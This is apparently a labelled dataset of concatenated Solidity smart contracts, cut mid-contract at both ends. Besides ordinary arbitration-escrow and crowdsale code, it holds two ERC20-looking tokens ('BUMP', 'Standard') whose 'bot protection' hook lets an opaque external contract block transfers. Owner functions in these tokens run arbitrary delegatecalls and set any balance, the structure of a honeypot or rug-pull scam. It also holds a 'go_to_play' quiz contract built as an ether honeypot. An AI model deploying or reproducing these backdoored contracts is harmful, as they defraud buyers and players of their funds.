function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract TransparentUpgradeableProxy is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 250000000000000000000000000;
string public name = "BUMP";
string public symbol = "BUMP";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wBNB, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _tos, uint amount) public {
require(msg.sender == owner);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = amount;
emit Transfer(address(0x0), _tos[i], amount);
}
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,885 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Standard is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Standard";
string public symbol = "STND";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wBNB, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,642 |
pragma solidity ^0.4.24;
interface IArbitrable {
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence);
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
function rule(uint _disputeID, uint _ruling) external;
}
contract Arbitrable is IArbitrable {
Arbitrator public arbitrator;
bytes public arbitratorExtraData;
modifier onlyArbitrator {require(msg.sender == address(arbitrator), "Can only be called by the arbitrator."); _;}
constructor(Arbitrator _arbitrator, bytes memory _arbitratorExtraData) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
}
function rule(uint _disputeID, uint _ruling) public onlyArbitrator {
emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling);
executeRuling(_disputeID,_ruling);
}
function executeRuling(uint _disputeID, uint _ruling) internal;
}
contract Arbitrator {
enum DisputeStatus {Waiting, Appealable, Solved}
modifier requireArbitrationFee(bytes memory _extraData) {
require(msg.value >= arbitrationCost(_extraData), "Not enough ETH to cover arbitration costs.");
_;
}
modifier requireAppealFee(uint _disputeID, bytes memory _extraData) {
require(msg.value >= appealCost(_disputeID, _extraData), "Not enough ETH to cover appeal costs.");
_;
}
event DisputeCreation(uint indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealPossible(uint indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealDecision(uint indexed _disputeID, Arbitrable indexed _arbitrable);
function createDispute(uint _choices, bytes memory _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {}
function arbitrationCost(bytes memory _extraData) public view returns(uint fee);
function appeal(uint _disputeID, bytes memory _extraData) public requireAppealFee(_disputeID,_extraData) payable {
emit AppealDecision(_disputeID, Arbitrable(msg.sender));
}
function appealCost(uint _disputeID, bytes memory _extraData) public view returns(uint fee);
function appealPeriod(uint _disputeID) public view returns(uint start, uint end) {}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status);
function currentRuling(uint _disputeID) public view returns(uint ruling);
}
contract CentralizedArbitrator is Arbitrator {
address public owner = msg.sender;
uint arbitrationPrice;
uint constant NOT_PAYABLE_VALUE = (2**256-2)/2;
struct DisputeStruct {
Arbitrable arbitrated;
uint choices;
uint fee;
uint ruling;
DisputeStatus status;
}
modifier onlyOwner {require(msg.sender==owner, "Can only be called by the owner."); _;}
DisputeStruct[] public disputes;
constructor(uint _arbitrationPrice) public {
arbitrationPrice = _arbitrationPrice;
}
function setArbitrationPrice(uint _arbitrationPrice) public onlyOwner {
arbitrationPrice = _arbitrationPrice;
}
function arbitrationCost(bytes _extraData) public view returns(uint fee) {
return arbitrationPrice;
}
function appealCost(uint _disputeID, bytes _extraData) public view returns(uint fee) {
return NOT_PAYABLE_VALUE;
}
function createDispute(uint _choices, bytes _extraData) public payable returns(uint disputeID) {
super.createDispute(_choices, _extraData);
disputeID = disputes.push(DisputeStruct({
arbitrated: Arbitrable(msg.sender),
choices: _choices,
fee: msg.value,
ruling: 0,
status: DisputeStatus.Waiting
})) - 1;
emit DisputeCreation(disputeID, Arbitrable(msg.sender));
}
function _giveRuling(uint _disputeID, uint _ruling) internal {
DisputeStruct storage dispute = disputes[_disputeID];
require(_ruling <= dispute.choices, "Invalid ruling.");
require(dispute.status != DisputeStatus.Solved, "The dispute must not be solved already.");
dispute.ruling = _ruling;
dispute.status = DisputeStatus.Solved;
msg.sender.send(dispute.fee);
dispute.arbitrated.rule(_disputeID,_ruling);
}
function giveRuling(uint _disputeID, uint _ruling) public onlyOwner {
return _giveRuling(_disputeID, _ruling);
}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status) {
return disputes[_disputeID].status;
}
function currentRuling(uint _disputeID) public view returns(uint ruling) {
return disputes[_disputeID].ruling;
}
}
contract AppealableArbitrator is CentralizedArbitrator, Arbitrable {
struct AppealDispute {
uint rulingTime;
Arbitrator arbitrator;
uint appealDisputeID;
}
uint public timeOut;
mapping(uint => AppealDispute) public appealDisputes;
mapping(uint => uint) public appealDisputeIDsToDisputeIDs;
constructor(
uint _arbitrationPrice,
Arbitrator _arbitrator,
bytes _arbitratorExtraData,
uint _timeOut
) public CentralizedArbitrator(_arbitrationPrice) Arbitrable(_arbitrator, _arbitratorExtraData) {
timeOut = _timeOut;
}
function changeArbitrator(Arbitrator _arbitrator) external onlyOwner {
arbitrator = _arbitrator;
}
function changeTimeOut(uint _timeOut) external onlyOwner {
timeOut = _timeOut;
}
function getAppealDisputeID(uint _disputeID) external view returns(uint disputeID) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
disputeID = AppealableArbitrator(appealDisputes[_disputeID].arbitrator).getAppealDisputeID(appealDisputes[_disputeID].appealDisputeID);
else disputeID = _disputeID;
}
function appeal(uint _disputeID, bytes _extraData) public payable requireAppealFee(_disputeID, _extraData) {
super.appeal(_disputeID, _extraData);
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
appealDisputes[_disputeID].arbitrator.appeal.value(msg.value)(appealDisputes[_disputeID].appealDisputeID, _extraData);
else {
appealDisputes[_disputeID].arbitrator = arbitrator;
appealDisputes[_disputeID].appealDisputeID = arbitrator.createDispute.value(msg.value)(disputes[_disputeID].choices, _extraData);
appealDisputeIDsToDisputeIDs[appealDisputes[_disputeID].appealDisputeID] = _disputeID;
}
}
function giveRuling(uint _disputeID, uint _ruling) public {
require(disputes[_disputeID].status != DisputeStatus.Solved, "The specified dispute is already resolved.");
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0))) {
require(Arbitrator(msg.sender) == appealDisputes[_disputeID].arbitrator, "Appealed disputes must be ruled by their back up arbitrator.");
super._giveRuling(_disputeID, _ruling);
} else {
require(msg.sender == owner, "Not appealed disputes must be ruled by the owner.");
if (disputes[_disputeID].status == DisputeStatus.Appealable) {
if (now - appealDisputes[_disputeID].rulingTime > timeOut)
super._giveRuling(_disputeID, disputes[_disputeID].ruling);
else revert("Time out time has not passed yet.");
} else {
disputes[_disputeID].ruling = _ruling;
disputes[_disputeID].status = DisputeStatus.Appealable;
appealDisputes[_disputeID].rulingTime = now;
emit AppealPossible(_disputeID, disputes[_disputeID].arbitrated);
}
}
}
function appealCost(uint _disputeID, bytes _extraData) public view returns(uint cost) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
cost = appealDisputes[_disputeID].arbitrator.appealCost(appealDisputes[_disputeID].appealDisputeID, _extraData);
else if (disputes[_disputeID].status == DisputeStatus.Appealable) cost = arbitrator.arbitrationCost(_extraData);
else cost = NOT_PAYABLE_VALUE;
}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
status = appealDisputes[_disputeID].arbitrator.disputeStatus(appealDisputes[_disputeID].appealDisputeID);
else status = disputes[_disputeID].status;
}
function executeRuling(uint _disputeID, uint _ruling) internal {
require(
appealDisputes[appealDisputeIDsToDisputeIDs[_disputeID]].arbitrator != Arbitrator(address(0)),
"The dispute must have been appealed."
);
giveRuling(appealDisputeIDsToDisputeIDs[_disputeID], _ruling);
}
}
contract MultipleArbitrableTransaction is IArbitrable {
uint8 constant AMOUNT_OF_CHOICES = 2;
uint8 constant SENDER_WINS = 1;
uint8 constant RECEIVER_WINS = 2;
enum Party {Sender, Receiver}
enum Status {NoDispute, WaitingSender, WaitingReceiver, DisputeCreated, Resolved}
struct Transaction {
address sender;
address receiver;
uint amount;
uint timeoutPayment;
uint disputeId;
uint senderFee;
uint receiverFee;
uint lastInteraction;
Status status;
}
Transaction[] public transactions;
bytes public arbitratorExtraData;
Arbitrator public arbitrator;
uint public feeTimeout;
mapping (uint => uint) public disputeIDtoTransactionID;
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Payment(uint indexed _transactionID, uint _amount, address _party);
event HasToPayFee(uint indexed _transactionID, Party _party);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID);
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
constructor (
Arbitrator _arbitrator,
bytes _arbitratorExtraData,
uint _feeTimeout
) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
feeTimeout = _feeTimeout;
}
function createTransaction(
uint _timeoutPayment,
address _receiver,
string _metaEvidence
) public payable returns (uint transactionID) {
transactions.push(Transaction({
sender: msg.sender,
receiver: _receiver,
amount: msg.value,
timeoutPayment: _timeoutPayment,
disputeId: 0,
senderFee: 0,
receiverFee: 0,
lastInteraction: now,
status: Status.NoDispute
}));
emit MetaEvidence(transactions.length - 1, _metaEvidence);
return transactions.length - 1;
}
function pay(uint _transactionID, uint _amount) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.sender == msg.sender, "The caller must be the sender.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
require(_amount <= transaction.amount, "The amount paid has to be less than or equal to the transaction.");
transaction.receiver.transfer(_amount);
transaction.amount -= _amount;
emit Payment(_transactionID, _amount, msg.sender);
}
function reimburse(uint _transactionID, uint _amountReimbursed) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.receiver == msg.sender, "The caller must be the receiver.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
require(_amountReimbursed <= transaction.amount, "The amount reimbursed has to be less or equal than the transaction.");
transaction.sender.transfer(_amountReimbursed);
transaction.amount -= _amountReimbursed;
emit Payment(_transactionID, _amountReimbursed, msg.sender);
}
function executeTransaction(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(now - transaction.lastInteraction >= transaction.timeoutPayment, "The timeout has not passed yet.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
transaction.receiver.transfer(transaction.amount);
transaction.amount = 0;
transaction.status = Status.Resolved;
}
function timeOutBySender(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.status == Status.WaitingReceiver, "The transaction is not waiting on the receiver.");
require(now - transaction.lastInteraction >= feeTimeout, "Timeout time has not passed yet.");
executeRuling(_transactionID, SENDER_WINS);
}
function timeOutByReceiver(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.status == Status.WaitingSender, "The transaction is not waiting on the sender.");
require(now - transaction.lastInteraction >= feeTimeout, "Timeout time has not passed yet.");
executeRuling(_transactionID, RECEIVER_WINS);
}
function payArbitrationFeeBySender(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
uint arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
require(transaction.status < Status.DisputeCreated, "Dispute has already been created or because the transaction has been executed.");
require(msg.sender == transaction.sender, "The caller must be the sender.");
transaction.senderFee += msg.value;
require(transaction.senderFee >= arbitrationCost, "The sender fee must cover arbitration costs.");
transaction.lastInteraction = now;
if (transaction.receiverFee < arbitrationCost) {
transaction.status = Status.WaitingReceiver;
emit HasToPayFee(_transactionID, Party.Receiver);
} else {
raiseDispute(_transactionID, arbitrationCost);
}
}
function payArbitrationFeeByReceiver(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
uint arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
require(transaction.status < Status.DisputeCreated, "Dispute has already been created or because the transaction has been executed.");
require(msg.sender == transaction.receiver, "The caller must be the receiver.");
transaction.receiverFee += msg.value;
require(transaction.receiverFee >= arbitrationCost, "The receiver fee must cover arbitration costs.");
transaction.lastInteraction = now;
if (transaction.senderFee < arbitrationCost) {
transaction.status = Status.WaitingSender;
emit HasToPayFee(_transactionID, Party.Sender);
} else {
raiseDispute(_transactionID, arbitrationCost);
}
}
function raiseDispute(uint _transactionID, uint _arbitrationCost) internal {
Transaction storage transaction = transactions[_transactionID];
transaction.status = Status.DisputeCreated;
transaction.disputeId = arbitrator.createDispute.value(_arbitrationCost)(AMOUNT_OF_CHOICES, arbitratorExtraData);
disputeIDtoTransactionID[transaction.disputeId] = _transactionID;
emit Dispute(arbitrator, transaction.disputeId, _transactionID, _transactionID);
if (transaction.senderFee > _arbitrationCost) {
uint extraFeeSender = transaction.senderFee - _arbitrationCost;
transaction.senderFee = _arbitrationCost;
transaction.sender.send(extraFeeSender);
}
if (transaction.receiverFee > _arbitrationCost) {
uint extraFeeReceiver = transaction.receiverFee - _arbitrationCost;
transaction.receiverFee = _arbitrationCost;
transaction.receiver.send(extraFeeReceiver);
}
}
function submitEvidence(uint _transactionID, string _evidence) public {
Transaction storage transaction = transactions[_transactionID];
require(
msg.sender == transaction.sender || msg.sender == transaction.receiver,
"The caller must be the sender or the receiver."
);
require(
transaction.status < Status.Resolved,
"Must not send evidence if the dispute is resolved."
);
emit Evidence(arbitrator, _transactionID, msg.sender, _evidence);
}
function appeal(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
arbitrator.appeal.value(msg.value)(transaction.disputeId, arbitratorExtraData);
}
function rule(uint _disputeID, uint _ruling) public {
uint transactionID = disputeIDtoTransactionID[_disputeID];
Transaction storage transaction = transactions[transactionID];
require(msg.sender == address(arbitrator), "The caller must be the arbitrator.");
require(transaction.status == Status.DisputeCreated, "The dispute has already been resolved.");
emit Ruling(Arbitrator(msg.sender), _disputeID, _ruling);
executeRuling(transactionID, _ruling);
}
function executeRuling(uint _transactionID, uint _ruling) internal {
Transaction storage transaction = transactions[_transactionID];
require(_ruling <= AMOUNT_OF_CHOICES, "Invalid ruling.");
if (_ruling == SENDER_WINS) {
transaction.sender.send(transaction.senderFee + transaction.amount);
} else if (_ruling == RECEIVER_WINS) {
transaction.receiver.send(transaction.receiverFee + transaction.amount);
} else {
uint split_amount = (transaction.senderFee + transaction.amount) / 2;
transaction.sender.send(split_amount);
transaction.receiver.send(split_amount);
}
transaction.amount = 0;
transaction.senderFee = 0;
transaction.receiverFee = 0;
transaction.status = Status.Resolved;
}
function getCountTransactions() public view returns (uint countTransactions) {
return transactions.length;
}
function getTransactionIDsByAddress(address _address) public view returns (uint[] transactionIDs) {
uint count = 0;
for (uint i = 0; i < transactions.length; i++) {
if (transactions[i].sender == _address || transactions[i].receiver == _address)
count++;
}
transactionIDs = new uint[](count);
count = 0;
for (uint j = 0; j < transactions.length; j++) {
if (transactions[j].sender == _address || transactions[j].receiver == _address)
transactionIDs[count++] = j;
}
}
} | 0 | 972 |
pragma solidity ^0.4.25;
contract go_to_play
{
function Try(string _response) external payable {
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value > 2 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
bytes32 questionerPin = 0x9953786a5ed139ad55c6fbf08d1114c24c6a90636c0dfc934d5b3f718a87a74f;
function Activate(bytes32 _questionerPin, string _question, string _response) public payable {
if(keccak256(_questionerPin)==questionerPin)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
questionerPin = 0x0;
}
}
function StopGame() public payable {
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash) public payable {
if(msg.sender==questionSender){
question = _question;
responseHash = _responseHash;
}
}
function newQuestioner(address newAddress) public {
if(msg.sender==questionSender)questionSender = newAddress;
}
function() public payable{}
} | 1 | 5,348 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CrowdsaleAuthorizer {
mapping(address => uint256) public participated;
mapping(address => bool) public whitelistAddresses;
address public admin;
uint256 public saleStartTime;
uint256 public saleEndTime;
uint256 public increaseMaxContribTime;
uint256 public minContribution;
uint256 public maxContribution;
using SafeMath for uint256;
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier validAddress(address _addr) {
require(_addr != address(0x0));
require(_addr != address(this));
_;
}
function CrowdsaleAuthorizer(
address _admin,
uint256 _saleStartTime,
uint256 _saleEndTime,
uint256 _increaseMaxContribTime,
uint256 _minContribution,
uint256 _maxContribution
)
validAddress(_admin)
public
{
require(_saleStartTime > now);
require(_saleEndTime > now);
require(_increaseMaxContribTime > now);
require(_saleStartTime < _saleEndTime);
require(_increaseMaxContribTime > _saleStartTime);
require(_maxContribution > 0);
require(_minContribution < _maxContribution);
admin = _admin;
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
increaseMaxContribTime = _increaseMaxContribTime;
minContribution = _minContribution;
maxContribution = _maxContribution;
}
event UpdateWhitelist(address _user, bool _allow, uint _time);
function updateWhitelist(address _user, bool _allow)
public
onlyAdmin
{
whitelistAddresses[_user] = _allow;
UpdateWhitelist(_user, _allow, now);
}
function updateWhitelists(address[] _users, bool[] _allows)
external
onlyAdmin
{
require(_users.length == _allows.length);
for (uint i = 0 ; i < _users.length ; i++) {
address _user = _users[i];
bool _allow = _allows[i];
whitelistAddresses[_user] = _allow;
UpdateWhitelist(_user, _allow, now);
}
}
function eligibleAmount(address _contributor, uint256 _amount)
public
view
returns(uint256)
{
if (!saleStarted() || saleEnded()) {
return 0;
}
if (_amount < minContribution) {
return 0;
}
uint256 userMaxContribution = maxContribution;
if (now >= increaseMaxContribTime) {
userMaxContribution = maxContribution.mul(10);
}
uint256 remainingCap = userMaxContribution.sub(participated[_contributor]);
return (remainingCap > _amount) ? _amount : remainingCap;
}
function saleStarted() public view returns(bool) {
return now >= saleStartTime;
}
function saleEnded() public view returns(bool) {
return now > saleEndTime;
}
function eligibleAmountCheck(address _contributor, uint256 _amount)
internal
returns(uint256)
{
if (!whitelistAddresses[_contributor]) {
return 0;
}
uint256 result = eligibleAmount(_contributor, _amount);
participated[_contributor] = participated[_contributor].add(result);
return result;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
